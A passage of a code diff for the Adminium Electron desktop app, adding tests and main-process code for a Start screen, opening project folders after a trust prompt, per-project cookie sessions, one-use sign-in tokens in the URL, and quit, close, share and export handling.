+ // The second pass, our own quit, goes through.
+ expect(p.h.fireBeforeQuit()).toBe(true);
+ });
+
+ it('a start that fails shows the server’s own words, with a way to try again', async () => {
+ const p = projectHarness({ startFails: new Error('The Adminium server failed to start (project): This project is already running (in a terminal), on port 4711.') });
+ await createDesktopApp(p.deps).start();
+ expect(p.shown).toEqual([]);
+ expect(p.h.crashes.at(-1)?.reason).toContain('already running (in a terminal), on port 4711');
+ // Fixed where it was wrong (the terminal closed), then "Try again": the window follows the server that comes up.
+ p.h.fireCrashAction('retry');
+ await settle();
+ expect(p.shown.at(-1)).toMatchObject({ preview: true });
+ });
+
+ it('a project that stops is not restarted: the crash page’s button is the way on, and it follows the new port', async () => {
+ const p = projectHarness();
+ await createDesktopApp(p.deps).start();
+ p.fireExit({ code: 1, signal: null, willRestart: false, giveUp: true, logPath: '/logs/server.log' });
+ await settle();
+ expect(p.h.crashes.at(-1)).toMatchObject({ reason: 'This project stopped unexpectedly (exit code 1).', canRestart: true });
+ p.h.fireCrashAction('retry');
+ await settle();
+ expect(p.shown.at(-1)).toEqual({ url: `http://127.0.0.1:4701/design#designToken=${'c'.repeat(64)}`, preview: true });
+ expect(p.h.bridge()?.runtime()).toMatchObject({ serverPort: 4701 });
+ });
+
+ it('a build with none of the optional folders and no updater still opens the project', async () => {
+ const p = projectHarness();
+ const bare: DesktopBootDeps = { ...p.deps, createUpdateManager: () => null };
+ for (const name of ['staticRoot', 'bundledAddOnsDir', 'bundledAppsDir', 'projectEnv', 'projectPrograms'] as const) Reflect.deleteProperty(bare, name);
+ await createDesktopApp(bare).start();
+ expect(p.opts[0]).not.toHaveProperty('staticRoot');
+ expect(p.opts[0]).not.toHaveProperty('inheritEnv');
+ expect(p.opts[0]?.project).toEqual({ root: ROOT, mode: 'design', pickPort: expect.any(Function) as unknown });
+ expect(p.h.menuHandlers()).not.toHaveProperty('checkForUpdates');
+ expect(p.shown).toHaveLength(1);
+
+ // A stop with no exit code (a signal) has its own words.
+ p.fireExit({ code: null, signal: 'SIGKILL', willRestart: false, giveUp: true, logPath: '/logs/server.log' });
+ await settle();
+ expect(p.h.crashes.at(-1)?.reason).toBe('This project stopped unexpectedly.');
+ // A state that is not "ready" moves nothing.
+ p.emit({ status: 'starting', attempt: 0 });
+ expect(p.shown).toHaveLength(1);
+ });
+
+ it('a build that cannot pick a port says so instead of forking', async () => {
+ const p = projectHarness();
+ await createDesktopApp({ ...p.deps, pickProjectPort: undefined }).start();
+ expect(p.opts).toHaveLength(0);
+ expect(p.h.crashes.at(-1)?.reason).toBe('This build cannot open a project folder.');
+ });
+});
+
+describe('projectUrl', () => {
+ it('is the Designer with its token after #, or the front door when shared', () => {
+ expect(projectUrl({ port: 4700, mode: 'design', token: 'ab' })).toBe('http://127.0.0.1:4700/design#designToken=ab');
+ expect(projectUrl({ port: 4700, mode: 'design', token: null })).toBe('http://127.0.0.1:4700/design');
+ expect(projectUrl({ port: 4712, mode: 'serve', token: null })).toBe('http://127.0.0.1:4712/');
+ // Shared, from the app's own window: the token the dashboard spends to sign the owner in on this computer.
+ expect(projectUrl({ port: 4712, mode: 'serve', token: 'ab' })).toBe('http://127.0.0.1:4712/?bootToken=ab');
+ // "Open dashboard" on Start: the same one-use token, taken on the dashboard's front door.
+ expect(projectUrl({ port: 4700, mode: 'design', token: 'ab', land: 'dashboard' })).toBe('http://127.0.0.1:4700/#designToken=ab');
+ expect(projectUrl({ port: 4700, mode: 'design', token: null, land: 'dashboard' })).toBe('http://127.0.0.1:4700/');
+ });
+});
+
+// ─── the first screens ───────────────────────────────────────────────────────
+
+describe('createDesktopApp opening on Start', () => {
+ const settle = async (): Promise => {
+ for (let i = 0; i < 20; i += 1) await Promise.resolve();
+ };
+
+ function startHarness(over: { classicUsed?: boolean; pendingFile?: string | null; firstRun?: boolean } = {}) {
+ const h = harness({ firstRun: over.firstRun ?? false });
+ const sessions: Array = [];
+ const projectOptions: CreateServerManagerOptions[] = [];
+ const deps: DesktopBootDeps = {
+ ...h.deps,
+ windows: {
+ ...h.deps.windows,
+ showStart: () => {
+ h.calls.push('showStart');
+ return Promise.resolve();
+ },
+ pendingFileArgument: () => over.pendingFile ?? null,
+ useProjectSession: (root) => void sessions.push(root),
+ },
+ createServerManager: (o) => {
+ if (o.project !== undefined) projectOptions.push(o);
+ return h.deps.createServerManager(o);
+ },
+ pickProjectPort: () => Promise.resolve(4700),
+ startScreen: {
+ folder: { home: '/home/ava', appDir: '/opt/Adminium', platform: 'linux', exists: () => false, real: (path) => path, list: () => null },
+ chooseDirectory: () => Promise.resolve(null),
+ classicUsed: () => over.classicUsed ?? false,
+ },
+ };
+ return { h, deps, sessions, projectOptions };
+ }
+
+ it('shows Start and starts nothing until the person chooses', async () => {
+ const s = startHarness();
+ void createDesktopApp(s.deps).start();
+ await settle();
+ expect(s.h.calls).toContain('showStart');
+ // The app's own menu is in place before Start is shown, not Electron's default one.
+ expect(s.h.calls.indexOf('installMenu')).toBeGreaterThanOrEqual(0);
+ expect(s.h.calls.indexOf('installMenu')).toBeLessThan(s.h.calls.indexOf('showStart'));
+ for (const never of ['config.resolveSecret', 'server.start', 'showBoot', 'createBackup']) expect(s.h.calls).not.toContain(never);
+ // The bridge answers Start's calls only while Start is what the window holds.
+ expect(s.h.bridge()?.start?.()).not.toBeNull();
+ expect(s.h.bridge()?.start?.()?.state()).toMatchObject({ firstLaunch: true, recent: [], proposedParent: '/home/ava/Adminium' });
+ });
+
+ it('"Use my own database" goes on into the classic workspace as a launch without Start does', async () => {
+ const s = startHarness({ classicUsed: true });
+ const started = createDesktopApp(s.deps).start();
+ await settle();
+ s.h.bridge()?.start?.()?.useClassic();
+ await started;
+ const after = s.h.calls.slice(s.h.calls.indexOf('showStart') + 1);
+ expect(after.filter((call) => ['config.resolveSecret', 'server.start', 'showBoot', 'loadApp'].includes(call))).toEqual(['config.resolveSecret', 'server.start', 'showBoot', 'loadApp']);
+ expect(s.h.loaded[0]).not.toContain('/desktop/setup');
+ // Start is gone: its calls are no longer answered.
+ expect(s.h.bridge()?.start?.()).toBeNull();
+ });
+
+ it('sends a classic workspace that was never set up to its setup, whether or not config.json exists', async () => {
+ // config.json was written by Start itself (a project was remembered), so "first run" is read from the data folder.
+ const s = startHarness({ classicUsed: false, firstRun: false });
+ const started = createDesktopApp(s.deps).start();
+ await settle();
+ s.h.bridge()?.start?.()?.useClassic();
+ await started;
+ expect(s.h.loaded[0]).toMatch(/\/desktop\/setup$/);
+ });
+
+ it('skips Start for a file handed to the app at launch: that belongs to the classic workspace', async () => {
+ const s = startHarness({ pendingFile: '/home/ava/backup.zip' });
+ await createDesktopApp(s.deps).start();
+ expect(s.h.calls).not.toContain('showStart');
+ expect(s.h.calls).toContain('server.start');
+ });
+
+ it('boots the project a person opens from Start, on its own cookie jar, with no classic secret', async () => {
+ const home = realpathSync(mkdtempSync(join(tmpdir(), 'adminium-boot-start-')));
+ try {
+ const root = join(home, 'shop');
+ mkdirSync(join(root, 'node_modules'), { recursive: true });
+ writeFileSync(join(root, 'adminium.config.ts'), 'export default {};\n');
+ const s = startHarness();
+ const deps: DesktopBootDeps = { ...s.deps, startScreen: { ...s.deps.startScreen!, folder: { ...realFolderDeps('/opt/Adminium', 'linux'), home } } };
+ const started = createDesktopApp(deps).start();
+ await settle();
+ const start = s.h.bridge()?.start?.();
+ // Asked first: nothing of the folder is started on a first open.
+ await expect(start?.openProject({ path: root })).resolves.toMatchObject({ status: 'trust-needed' });
+ expect(s.projectOptions).toEqual([]);
+ await expect(start?.openProject({ path: root, agreed: true })).resolves.toEqual({ status: 'opened' });
+ await started;
+
+ expect(s.projectOptions).toHaveLength(1);
+ expect(s.projectOptions[0]?.project).toMatchObject({ root, mode: 'design' });
+ expect(s.sessions).toEqual([root]);
+ expect(s.h.calls).not.toContain('config.resolveSecret');
+ expect(s.h.calls).not.toContain('createBackup');
+ // Remembered, in the app's own config, with what was agreed to.
+ expect(s.h.saved.at(-1)?.projects).toMatchObject([{ path: root, name: 'Shop', state: 'building' }]);
+ expect(s.h.saved.at(-1)?.projects[0]?.trusted).toMatch(/^[0-9a-f]{64}$/);
+ expect(s.h.bridge()?.start?.()).toBeNull();
+ } finally {
+ rmSync(home, { recursive: true, force: true });
+ }
+ });
+
+ it('"Close project" stops its server, takes back the app’s cookie jar and shows Start again; the next choice boots as the first did', async () => {
+ const home = realpathSync(mkdtempSync(join(tmpdir(), 'adminium-boot-close-')));
+ try {
+ const root = join(home, 'shop');
+ mkdirSync(join(root, 'node_modules'), { recursive: true });
+ mkdirSync(join(root, 'hooks'));
+ writeFileSync(join(root, 'adminium.config.ts'), 'export default {};\n');
+ const s = startHarness({ classicUsed: true });
+ let live: { root: string; mode: 'design' | 'serve' } | null = null;
+ let busy: { kind: string; sessionId: string | null } | null = null;
+ const asked: string[] = [];
+ const deps: DesktopBootDeps = {
+ ...s.deps,
+ startScreen: { ...s.deps.startScreen!, folder: { ...realFolderDeps('/opt/Adminium', 'linux'), home } },
+ createServerManager: (o) => {
+ const made = s.deps.createServerManager(o);
+ if (o.project === undefined) return made;
+ live = { root: o.project.root, mode: 'design' };
+ // The fake manager is the classic one: as a project's it says which folder it serves.
+ return Object.create(made, { project: { get: () => live }, busy: { value: () => Promise.resolve(busy) } }) as typeof made;
+ },
+ confirmStopBusy: (_busy, why) => {
+ asked.push(why);
+ return Promise.resolve(false);
+ },
+ };
+ void createDesktopApp(deps).start();
+ await settle();
+ await s.h.bridge()?.start?.()?.openProject({ path: root, agreed: true });
+ await settle();
+ const bridge = s.h.bridge();
+ expect(bridge?.project?.info()).toEqual({ root, displayPath: '~/shop', name: 'Shop', mode: 'design' });
+
+ // In the middle of a turn, and the person keeps working: nothing is stopped.
+ busy = { kind: 'turn', sessionId: 'ds_1' };
+ await expect(bridge?.project?.close()).resolves.toBe(false);
+ expect(asked).toEqual(['close']);
+ expect(s.h.stopped()).toBe(0);
+ expect(bridge?.project?.info()).not.toBeNull();
+
+ // The Designer changed the folder's code while it was open.
+ writeFileSync(join(root, 'hooks', 'on-save.ts'), 'export default 1;\n');
+ busy = null;
+ const shownBefore = s.h.calls.filter((call) => call === 'showStart').length;
+ await expect(bridge?.project?.close()).resolves.toBe(true);
+ await settle();
+ expect(s.h.stopped()).toBe(1);
+ expect(s.sessions).toEqual([root, null]);
+ expect(s.h.calls.filter((call) => call === 'showStart')).toHaveLength(shownBefore + 1);
+ expect(bridge?.project?.info()).toBeNull();
+ // Start is back, lists the project, and does not ask about the app's own changes.
+ const start = bridge?.start?.();
+ expect(start?.state().recent).toMatchObject([{ path: root, name: 'Shop', missing: false }]);
+ await expect(start?.openProject({ path: root })).resolves.toEqual({ status: 'opened' });
+ await settle();
+ expect(s.projectOptions).toHaveLength(2);
+ // And from there the classic workspace is one choice away, as at launch.
+ await expect(bridge?.project?.close()).resolves.toBe(true);
+ await settle();
+ bridge?.start?.()?.useClassic();
+ await settle();
+ expect(s.h.calls).toContain('config.resolveSecret');
+ expect(bridge?.project?.info()).toBeNull();
+ await expect(bridge?.project?.close()).resolves.toBe(false);
+ } finally {
+ rmSync(home, { recursive: true, force: true });
+ }
+ });
+
+ it('without the screens (every boot before them) goes to the classic workspace at once', async () => {
+ const h = harness();
+ await createDesktopApp(h.deps).start();
+ expect(h.calls).not.toContain('showStart');
+ expect(h.bridge()?.start?.()).toBeNull();
+ });
+});
+
describe('microphoneSwitchedOn', () => {
it('reads a clear yes from the availability reply, and a no from everything else', async () => {
const { microphoneSwitchedOn } = await import('./index.js');
diff --git a/apps/desktop/src/main/index.ts b/apps/desktop/src/main/index.ts
index 24996d526..1ea211a44 100644
--- a/apps/desktop/src/main/index.ts
+++ b/apps/desktop/src/main/index.ts
@@ -21,10 +21,13 @@
* the real shell.
*/
-import { constants } from 'node:fs';
+import { constants, existsSync } from 'node:fs';
import { access, mkdir, readFile, readdir, stat } from 'node:fs/promises';
import { createRequire } from 'node:module';
-import { dirname, join, resolve } from 'node:path';
+// The whole module, not its `hostname`: a named import takes that name in the bundle, and an address template that
+// reads `${hostname}` elsewhere in this file is then renamed under the offline gate's eyes.
+import os from 'node:os';
+import { basename, dirname, join, resolve } from 'node:path';
import { fileURLToPath } from 'node:url';
import {
@@ -32,7 +35,9 @@ import {
BrowserWindow,
dialog,
ipcMain,
+ net,
powerMonitor,
+ powerSaveBlocker,
safeStorage,
session,
shell,
@@ -48,6 +53,8 @@ import type {
DesktopUpdateEvent,
SetDataDirOptions,
SetDataDirResult,
+ DesktopStopWords,
+ DesktopExportResult,
} from '../preload/api.js';
import { backupManifestSchema } from './backup-archive.js';
import {
@@ -82,12 +89,25 @@ import {
} from './lan.js';
import { buildAppMenu, menuTranslator, type MenuHandlers, type MenuTranslate } from './menu.js';
import { EPHEMERAL_PORT, generateBootToken, LOOPBACK_HOST } from '../server/env.js';
-import { LAN_PORT_IN_USE, registerIpcHandlers, type DesktopRuntimeSnapshot } from './ipc.js';
+import { LAN_PORT_IN_USE, registerIpcHandlers, type DesktopRuntimeSnapshot, type ProjectExporting, type ProjectSharing } from './ipc.js';
+import { fetchGit, findGit, gitDownloadFor, removeUnfinishedGit, runProgram } from './git.js';
import { createDesktopLogging } from './logging.js';
+import { createFolderFacts, createInstallPackages, createMakeProject, createUpdateProject, runToEnd, type MakeProjectDeps } from './make-project.js';
+import { carriedNpmDir, provideDesktopPrograms } from './programs.js';
+import { firstFreePort, projectPortRange, seamGit, seamProject, sessionCookieNames, stopBusyWords } from './project.js';
+import { realFolderDeps, rememberProject, type FolderDeps } from './projects.js';
+import { exportFileName, writeProjectZip } from './export.js';
+import { projectDataPaths } from './folder-open.js';
+import { checkGuest } from './guest.js';
+import { shareAddresses, sharePortFor } from './share.js';
+import { createModelsStore, modelsFileFor, type ModelsStore } from './models.js';
+import { createVersionsOffer, type VersionsOffer, type VersionsOfferDeps } from './versions-offer.js';
+import { createStartService, displayPathOf, nameFromFolder, type StartChoice, type StartDeps, type StartService } from './start.js';
import {
createServerManager,
type CreateServerManagerOptions,
type ServerExit,
+ type ServerBusy,
type ServerManager,
type ServerReadyInfo,
type ServerState,
@@ -105,6 +125,7 @@ import {
type CrashAction,
type CrashScreenInfo,
type DesktopWindows,
+ projectPartition,
type MicrophoneReader,
} from './window.js';
@@ -170,6 +191,29 @@ export interface AppUrlOptions {
* by our own auth route, and would drop a session cookie on an origin every
* other device on the network can reach.
*/
+/** Said when a setting of the classic workspace is asked for while a project is open. */
+export const CLASSIC_ONLY_SETTING = 'This setting belongs to the classic workspace. Close the project to change it.';
+
+/**
+ * Where the window goes for a project.
+ *
+ * While it is built: the Designer, with the one-use token after `#` (never part
+ * of a request a log could hold). It signs the project's own owner in, once,
+ * while that owner has no password: the same door `adminium design` opens in a
+ * browser. With `ownerOnThisComputer` that owner is signed in there once they
+ * have a password too. Shared: the dashboard's front door, with this start's
+ * token the first time the app's window opens it.
+ */
+export function projectUrl(opts: { port: number; mode: 'design' | 'serve'; token: string | null; land?: 'dashboard' | undefined; /** A page of the project's own to arrive at instead (a path): where the person was before the server was stopped for them. */ to?: string | undefined }): string {
+ const origin = `http://127.0.0.1:${String(opts.port)}`;
+ // Shared: this boot's token, once, signs the project's owner in on this computer (the dashboard takes it from the
+ // address and spends it before anything else is asked). Without one: the front door, and the sign-in page.
+ if (opts.mode === 'serve') return opts.token === null ? `${origin}/` : `${origin}/?bootToken=${opts.token}`;
+ // The token is taken on whatever page it arrives at: "Open dashboard" on Start lands on the dashboard's front door.
+ const page = opts.to ?? (opts.land === 'dashboard' ? '/' : '/design');
+ return opts.token === null ? `${origin}${page}` : `${origin}${page}#designToken=${opts.token}`;
+}
+
export function appUrl(opts: AppUrlOptions): string {
const hostname = opts.host === '0.0.0.0' || opts.host === '::' ? '127.0.0.1' : opts.host;
const origin = `http://${hostname}:${String(opts.port)}`;
@@ -371,6 +415,20 @@ export interface DesktopBridgeContext {
* routes a push straight to it.
*/
setMenuLabels: (labels: DesktopMenuLabels) => void;
+ /** The first screens' service while Start is what the window holds; `null` otherwise. */
+ start?: (() => StartService | null) | undefined;
+ /** The project the window holds (`info` is `null` in the classic workspace), and the way out of it. */
+ project?:
+ | {
+ info: () => { root: string; displayPath: string; name: string; mode: 'design' | 'serve' } | null;
+ close: () => Promise;
+ setStopWords?: ((words: DesktopStopWords) => void) | undefined;
+ sharing?: (() => ProjectSharing | null) | undefined;
+ exporting?: (() => ProjectExporting | null) | undefined;
+ /** The offer to keep versions, of the project that is open. */
+ versions?: (() => VersionsOffer | null) | undefined;
+ }
+ | undefined;
}
/** What the boot sequence knows about itself; `getRuntimeInfo` reads it. */
@@ -515,6 +573,111 @@ export interface DesktopBootDeps {
* panel reports the mode the updater actually runs in, not the raw config.
*/
updatesDisabledByEnv: boolean;
+
+ // ── a project folder (plan 66) ──
+ /**
+ * The project folder to open instead of the classic workspace, or
+ * `undefined`.
+ *
+ * WHOEVER SETS THIS HAS ALREADY ASKED. Opening a folder builds and runs the
+ * code in it (`adminium.config.ts`, hooks, actions, its apps): the trust
+ * question, the folder's state and the install of its packages are main's to
+ * settle BEFORE this is set (spec 08). The boot sequence below forks; it does
+ * not ask. Until the app's own first screens exist the only thing that sets
+ * it is the test seam in the production wiring, which a packaged app ignores.
+ */
+ openProject?: { readonly root: string } | undefined;
+ /**
+ * The first screens (Start, New app). Present: a launch with nothing to open
+ * shows Start and waits for the person's choice; "Use my own database" then
+ * goes on into the classic workspace exactly as a launch without this does.
+ * Absent (every boot test that predates the screens): the classic workspace
+ * at once. A file handed to the app at launch belongs to the classic
+ * workspace and skips Start.
+ */
+ startScreen?:
+ | {
+ readonly folder: FolderDeps;
+ readonly chooseDirectory: StartDeps['chooseDirectory'];
+ readonly makeProject?: StartDeps['makeProject'];
+ readonly installPackages?: StartDeps['installPackages'];
+ readonly folderFacts?: StartDeps['folderFacts'];
+ readonly updateProject?: StartDeps['updateProject'];
+ readonly chooseFile?: StartDeps['chooseFile'];
+ readonly checkGuest?: StartDeps['checkGuest'];
+ /** Whether the classic workspace was ever set up in this data folder. */
+ readonly classicUsed: (config: DesktopConfig) => boolean;
+ }
+ | undefined;
+ /** A free port for a project's server, asked for before every fork (from 4700, as `adminium design` does). */
+ pickProjectPort?: ((mode: 'design' | 'serve') => Promise) | undefined;
+ /** The app's own bundled apps, as an absolute path. */
+ bundledAppsDir?: string | undefined;
+ /**
+ * Makes this launch's stand-ins and says where the app's own programs are
+ * (`ADMINIUM_DESKTOP_PROGRAMS`, JSON). Called once per project boot.
+ */
+ projectPrograms?: (() => string | Promise) | undefined;
+ /**
+ * The model keys the app keeps (`models.ts`), for a project that is being
+ * built. Left out: a project's server is told none, and the Designer's model
+ * screen has nowhere to save one.
+ */
+ models?: ModelsStore | undefined;
+ /**
+ * git on this computer, for the offer to keep versions: whether the last
+ * `projectPrograms()` found one, the file there is to fetch, and the fetch.
+ * Left out: nothing is offered (a build that cannot look).
+ */
+ projectGit?:
+ | {
+ readonly found: () => boolean;
+ readonly bytes: number | null;
+ readonly platform: string;
+ readonly fetch: VersionsOfferDeps['fetch'];
+ readonly installAppleTools?: (() => Promise) | undefined;
+ readonly log?: ((line: string) => void) | undefined;
+ }
+ | undefined;
+ /**
+ * The environment a project's server starts from, before main's own block
+ * is laid over it (and the stripped names are taken out). A terminal's
+ * server has the person's environment: their PATH is where `git` is found
+ * (versions), their proxy settings are how a package is fetched. The classic
+ * workspace's child inherits nothing, and still does.
+ */
+ projectEnv?: NodeJS.ProcessEnv | undefined;
+ /**
+ * Asked before the app ends a project's server that is in the middle of
+ * something. Resolves `true` to go on, `false` to leave it running. Left
+ * out: nobody to ask, and the app goes on.
+ */
+ confirmStopBusy?: ((busy: ServerBusy, why: 'quit' | 'close' | 'share', words: DesktopStopWords | null) => Promise) | undefined;
+ /**
+ * What "Export this project…" needs of the machine: the system's save
+ * dialog, the file manager, and what this build is (for the export's stamp).
+ * Left out: a project cannot be exported from this build.
+ */
+ exporting?:
+ | {
+ readonly saveAs: (opts: { title: string; defaultName: string }) => Promise;
+ readonly showInFolder: (path: string) => Promise;
+ readonly stamp: () => { system: string; chip: string; engine: string };
+ }
+ | undefined;
+ /**
+ * What sharing a project on the network needs of the machine: its name, a
+ * port's being free, and keeping it awake while others use it. Left out: a
+ * project cannot be shared from this build.
+ */
+ sharing?:
+ | {
+ readonly hostname: () => string;
+ readonly isFree: (port: number) => Promise;
+ /** Ask the system not to sleep while shared (`true`), or let it again. */
+ readonly keepAwake?: ((on: boolean) => void) | undefined;
+ }
+ | undefined;
}
/** What {@link DesktopBootDeps.createBackup} needs from the boot sequence. */
@@ -578,6 +741,20 @@ export function createDesktopApp(deps: DesktopBootDeps): DesktopApp {
/** The croner handle. Stopped on quit so it cannot fire into a closing app.
* */
let stopAutoBackup: (() => void) | null = null;
+ /** The first screens' service, made when Start is shown; kept after the choice for {@link StartService.trustNow}. */
+ let startService: StartService | null = null;
+ /** Start is what the window holds: only then are its bridge calls answered. */
+ let startOpen = false;
+ /** Set by `start()`; `null` before it and in a boot that cannot return to Start. */
+ let closeProject: (() => Promise) | null = null;
+ /** The quit and close questions in the page's language: the last ones a project's page handed over. */
+ let stopWords: DesktopStopWords | null = null;
+ /** The offer to keep versions, of the project that is open. */
+ let versionsOffer: VersionsOffer | null = null;
+ /** Build and Share, of the project that is open. */
+ let projectSharing: ProjectSharing | null = null;
+ /** "Export this project…", of the project that is open. */
+ let projectExporting: ProjectExporting | null = null;
/**
* The updater, `null` until step 5 and `null` forever in `disabled` mode.
* Held here — rather than a step-5 const — for the quit hook below, which
@@ -781,6 +958,11 @@ export function createDesktopApp(deps: DesktopBootDeps): DesktopApp {
}
const previous = config;
const next = applyConfigPatch(previous, patch);
+ // With a project open, the network switch would restart the PROJECT's
+ // server on the classic workspace's port. Sharing a project is its own state.
+ if (manager?.project != null && patch.lanShare !== undefined) {
+ throw new Error(CLASSIC_ONLY_SETTING);
+ }
const binding = lanBindingChange(previous, next);
if (binding === null) {
await deps.config.save(next);
@@ -806,6 +988,9 @@ export function createDesktopApp(deps: DesktopBootDeps): DesktopApp {
* now showing the directory the user picked.
*/
setDataDir: async (input): Promise => {
+ if (manager?.project != null) {
+ throw new Error(CLASSIC_ONLY_SETTING);
+ }
if (config === null) {
throw new Error('the desktop config has not been loaded yet.');
}
@@ -841,6 +1026,24 @@ export function createDesktopApp(deps: DesktopBootDeps): DesktopApp {
menuLabels = labels;
rebuildMenu();
},
+ start: () => (startOpen ? startService : null),
+ project: {
+ info: () => {
+ const open = manager?.project ?? null;
+ if (open === null) return null;
+ const known = config?.projects.find((entry) => entry.path === open.root);
+ const folder = deps.startScreen?.folder;
+ const displayPath = folder === undefined ? open.root : displayPathOf(open.root, folder.home, folder.platform);
+ return { root: open.root, displayPath, name: known?.name ?? nameFromFolder(open.root), mode: open.mode };
+ },
+ close: () => (closeProject === null ? Promise.resolve(false) : closeProject()),
+ setStopWords: (words) => {
+ stopWords = words;
+ },
+ versions: () => (manager?.project == null ? null : versionsOffer),
+ sharing: () => (manager?.project == null ? null : projectSharing),
+ exporting: () => (manager?.project == null ? null : projectExporting),
+ },
});
// The three buttons, graceful shutdown. BOTH before the config steps
@@ -901,28 +1104,55 @@ export function createDesktopApp(deps: DesktopBootDeps): DesktopApp {
// re-forks a server while the app is closing, and the `onExit` listener
// below builds a BrowserWindow on the way out.
let stopping = false;
+ let asking = false;
host.onBeforeQuit((event) => {
// The second pass — our own `host.quit()` re-emits `before-quit`.
// Letting it through is what actually ends the app.
if (stopping) return;
- // The schedule, before anything else: a 03:00 tick that landed during
- // teardown would post a backup to a server we are in the middle of
- // stopping, and the manager would classify the resulting failure as a
- // crash on the way out.
- stopAutoBackup?.();
- stopAutoBackup = null;
- // Cancel the updater's launch/periodic schedules and detach its
- // autoUpdater listeners on the same beat, so a check cannot fire into a
- // closing app. `null` in `disabled` mode and before step 5 — both
- // no-ops.
- updateManager?.dispose();
- updateManager = null;
const target = manager;
+ const finish = (): void => {
+ // The schedule, before anything else: a 03:00 tick that landed during
+ // teardown would post a backup to a server we are in the middle of
+ // stopping, and the manager would classify the resulting failure as a
+ // crash on the way out.
+ stopAutoBackup?.();
+ stopAutoBackup = null;
+ // Cancel the updater's launch/periodic schedules and detach its
+ // autoUpdater listeners on the same beat, so a check cannot fire into a
+ // closing app. `null` in `disabled` mode and before step 5 — both
+ // no-ops.
+ updateManager?.dispose();
+ updateManager = null;
+ };
// No child yet (a quit during boot steps 1–4): nothing to shut down, and
// cancelling the quit to await nothing would hang the app instead.
- if (target === null) return;
- stopping = true;
+ if (target === null) {
+ finish();
+ return;
+ }
event.preventDefault();
+ // A project's server may be in the middle of a turn: the person is asked
+ // BEFORE anything is torn down, so that "keep working" leaves the app
+ // whole (its updater and its window as they were).
+ if (target.project !== null) {
+ if (asking) return;
+ asking = true;
+ void (async () => {
+ const busy = await target.busy().catch(() => null);
+ const goOn = busy === null || deps.confirmStopBusy === undefined || (await deps.confirmStopBusy(busy, 'quit', stopWords).catch(() => true));
+ asking = false;
+ if (!goOn) return;
+ stopping = true;
+ finish();
+ await target.stop().catch(() => undefined);
+ // The folder's code as the app leaves it is what was agreed to: its own changes are not asked about.
+ if (target.project !== null) await startService?.trustNow(target.project.root).catch(() => undefined);
+ host.quit();
+ })();
+ return;
+ }
+ finish();
+ stopping = true;
void target.stop().finally(() => {
host.quit();
});
@@ -938,267 +1168,667 @@ export function createDesktopApp(deps: DesktopBootDeps): DesktopApp {
// in the dock forever showing nothing, with no dialog and no log line.
// `canRestart: false` because none of them is fixed by forking the server
// again; the messages config.ts raises already say what to do instead.
- let firstRun: boolean;
- let secret: string;
- try {
- // Step 2 — a missing config.json means first-run mode.
- const loaded = await deps.config.load();
- config = loaded.config;
- firstRun = loaded.firstRun;
- // Step 3 — safeStorage, or the flagged plaintext fallback.
- const resolved = await deps.config.resolveSecret(loaded.config);
- secret = resolved.secret;
- runtime = {
- dataDir: loaded.config.dataDir,
- firstRun,
- secretStorage: resolved.secretStorage,
- serverPort: -1,
+ /*
+ * A project folder instead of the classic workspace (plan 66, spec 05).
+ *
+ * What is NOT here is the point. No secret is resolved (the project's is
+ * its `.env`'s; resolving the classic one may write to the key store). No
+ * backup coordinator is built, so the menu's two backup entries are
+ * disabled and no schedule runs: they act on the classic data folder, and
+ * a restore would unpack over it while stopping this project's server
+ * mid-turn. The network switch and the data-folder setting are refused in
+ * the bridge above for the same reason.
+ */
+ const bootProject = async (loadedConfig: DesktopConfig, project: { readonly root: string; readonly land?: 'dashboard' | undefined }): Promise => {
+ // Where Start asked to land, for the first page only: a restart after a crash comes back to the Designer.
+ let land = project.land;
+ /** The page to come back to after the server was stopped for the person (an export), once. */
+ let returnTo: string | undefined;
+ /** The window was taken off the project's page (an export) and must be pointed at it again, same port or not. */
+ let showAgain = false;
+ /** How the project was being served when the window was last pointed at it. */
+ let shownMode: 'design' | 'serve' = 'design';
+ /** Set when a shared project could not have the port it had before. */
+ let shareChangedFrom: number | null = null;
+ const pickPort = deps.pickProjectPort;
+ if (pickPort === undefined) {
+ await windows.showCrash({ reason: 'This build cannot open a project folder.', canRestart: false });
+ return;
+ }
+ runtime = { dataDir: project.root, firstRun: false, secretStorage: 'plain', serverPort: -1 };
+ // Its own cookie jar: the classic workspace's session and a project's never meet.
+ windows.useProjectSession?.(project.root);
+ // Where the app's own Node and npm are, and the git it found: looked for now, before the fork.
+ const programs = deps.projectPrograms === undefined ? undefined : await deps.projectPrograms();
+ const projectManager = deps.createServerManager({
+ entry: deps.serverEntry,
+ createBootToken: deps.createBootToken,
+ logsDir: deps.logsDir,
+ ...(deps.staticRoot === undefined ? {} : { staticRoot: deps.staticRoot }),
+ ...(deps.bundledAddOnsDir === undefined ? {} : { bundledAddOnsDir: deps.bundledAddOnsDir }),
+ ...(deps.projectEnv === undefined ? {} : { inheritEnv: deps.projectEnv }),
+ project: {
+ root: project.root,
+ mode: 'design',
+ // Being built: a free port each time. Shared: the port this project keeps, while it can be had.
+ pickPort: async (mode) => {
+ if (mode !== 'serve' || deps.sharing === undefined) return pickPort(mode);
+ const kept = (config ?? loadedConfig).projects.find((entry) => entry.path === project.root)?.sharePort ?? null;
+ const picked = await sharePortFor(kept, deps.sharing.isFree, () => pickPort(mode));
+ shareChangedFrom = picked.changedFrom;
+ return picked.port;
+ },
+ ...(deps.bundledAppsDir === undefined ? {} : { bundledAppsDir: deps.bundledAppsDir }),
+ ...(programs === undefined ? {} : { programs }),
+ },
+ });
+ manager = projectManager;
+ // The keys go to the server once it is up, over the message channel, and what its model screen saves comes
+ // back the same way: kept here, then told again so every reader has the same set.
+ const models = deps.models;
+ if (models !== undefined) {
+ projectManager.setModels(models.read());
+ projectManager.onKeepModel((values) => {
+ try {
+ projectManager.setModels(models.keep(values));
+ } catch (error) {
+ console.error(`[models] a saved model could not be kept: ${error instanceof Error ? error.message : String(error)}`);
+ }
+ });
+ }
+ const git = deps.projectGit;
+ versionsOffer =
+ git === undefined || deps.projectPrograms === undefined
+ ? null
+ : createVersionsOffer({
+ found: git.found(),
+ bytes: git.bytes,
+ platform: git.platform,
+ declined: () => (config ?? loadedConfig).versionsDeclined,
+ setDeclined: async (declined) => {
+ const current = config ?? loadedConfig;
+ if (current.versionsDeclined === declined) return;
+ const next: DesktopConfig = { ...current, versionsDeclined: declined };
+ await deps.config.save(next);
+ config = next;
+ },
+ fetch: git.fetch,
+ // The stand-ins are made again and git looked for again; the server that is running is told, and
+ // so is every later start of it.
+ refresh: async () => {
+ const value = await deps.projectPrograms?.();
+ if (value !== undefined && manager === projectManager) projectManager.setPrograms(value);
+ return git.found();
+ },
